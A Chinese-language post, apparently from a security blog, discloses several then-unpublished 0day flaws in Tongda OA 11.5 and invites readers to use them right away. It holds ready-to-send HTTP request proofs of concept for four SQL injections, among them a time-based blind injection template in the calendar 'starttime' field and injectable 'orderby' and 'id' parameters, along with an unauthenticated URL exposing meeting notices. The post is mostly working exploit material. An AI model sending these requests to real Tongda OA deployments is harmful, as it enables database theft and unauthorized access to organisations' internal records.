全网首发 | 通达OA多枚0day漏洞分享
之前曝光过通达OA 0day我这里就不曝了,截止到发帖时,下面的漏洞都是未正式公开的。 影响范围: 我测试的是通达OA11.5版本,也就是2020年04月17日发布的,其他版未测,但我想也会有吧。
HW这几天看到大家对通达OA的热情度很高,正好今天有空,下载了一个通达OA 11.5版本下来做代码审计,通达OA的代码是加密的,所以需要一个SeayDzend工具解密,百度上就能找到。
解密后,对代码的各个模块都大致看了一下,很快就发现多处都存在SQL注入漏洞,仔细看了之前的曝光的文章,发现这些漏洞并未曝光,也未预警,也属于0day漏洞吧。 不多说,直接上POC,有需要的可以先拿到用了。
0x001 SQL注入 POC:
POC
POST /general/appbuilder/web/calendar/calendarlist/getcallist HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Referer: http://192.168.202.1/portal/home/
Cookie: PHPSESSID=54j5v894kbrm5sitdvv8nk4520; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=c9e143ff
Connection: keep-alive
Host: 192.168.43.169
Pragma: no-cache
X-Requested-With: XMLHttpRequest
Content-Length: 154
X-WVS-ID: Acunetix-Autologin/65535
Cache-Control: no-cache
Accept: */*
Origin: http://192.168.43.169
Accept-Language: en-US,en;q=0.9
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
starttime=AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])---&endtime=1598918400&view=month&condition=1
漏洞文件:webrootgeneralappbuildermodulescalendarmodelsCalendar.php。 get_callist_data函数接收传入的begin_date变量未经过滤直接拼接在查询语句中造成注入。
利用条件: 一枚普通账号登录权限,但测试发现,某些低版本也无需登录也可注入。 0x002 SQL注入 POC: 漏洞参数:orderby
GET /general/email/sentbox/get_index_data.php?asc=0&boxid=&boxname=sentbox&curnum=3&emailtype=ALLMAIL&keyword=sample%40email.tst&orderby=1&pagelimit=20&tag=×tamp=1598069133&total= HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://192.168.43.169/
Cookie: PHPSESSID=54j5v894kbrm5sitdvv8nk4520; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=c9e143ff
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: 192.168.43.169
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Connection: close
漏洞文件:webrootincutility_email.php,get_sentbox_data函数接收传入参数未过滤,直接拼接在order by后面了造成注入。
利用条件: 一枚普通账号登录权限,但测试发现,某些低版本也无需登录也可注入。 0x003 SQL注入 POC: 漏洞参数:orderby
GET /general/email/inbox/get_index_data.php?asc=0&boxid=&boxname=inbox&curnum=0&emailtype=ALLMAIL&keyword=&orderby=3--&pagelimit=10&tag=×tamp=1598069103&total= HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://192.168.43.169
Cookie: PHPSESSID=54j5v894kbrm5sitdvv8nk4520; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=c9e143ff
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: 192.168.43.169
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Connection: close
漏洞文件:webrootincutility_email.php,get_email_data函数传入参数未过滤,直接拼接在order by后面了造成注入。
利用条件: 一枚普通账号登录权限,但测试发现,某些低版本也无需登录也可注入。 0x004 SQL注入 POC: 漏洞参数:id
GET /general/appbuilder/web/report/repdetail/edit?link_type=false&slot={}&id=2 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://192.168.43.169
Cookie: PHPSESSID=54j5v894kbrm5sitdvv8nk4520; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=c9e143ff
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: 192.168.43.169
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Connection: close
漏洞文件:webrootgeneralappbuildermodulesreportcontrollersRepdetailController.php,actionEdit函数中存在 一个$_GET["id"]; 未经过滤,拼接到SQL查询中,造成了SQL注入。
利用条件: 一枚普通账号登录权限,但测试发现,某些低版本也无需登录也可注入。 0x005 未授权访问: 未授权访问各种会议通知信息,POC链接:
http://127.0.0.1/general/calendar/arrange/get_cal_list.php?starttime=1548058874&endtime=1597997506&view=agendaDay
END.
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- VBA解析VBAProject 03——解析dir流
- VBA解析VBAProject 01——实现的功能
- VBA解析VBAProject 02——解析
- 光怪陆离的世界之Delaunay三角剖分和Voronoi图
- Angular里的routerLink不能按照期望工作的一个问题
- 哈希算法在判定树同构方面的应用(上)
- 为啥会内存泄漏?一个免费的检测工具来了
- iOS开关按钮,纯CSS给你安排上了
- 面试官:你说说互斥锁、自旋锁、读写锁、悲观锁、乐观锁的应用场景
- 一次“内存泄露”引发的血案
- 一次压缩引发堆外内存过高的教训
- 第2章代码-图形系统
- 第3章代码-光栅化与裁剪
- spring的IOC和DI
- 彻底搞懂ArrayList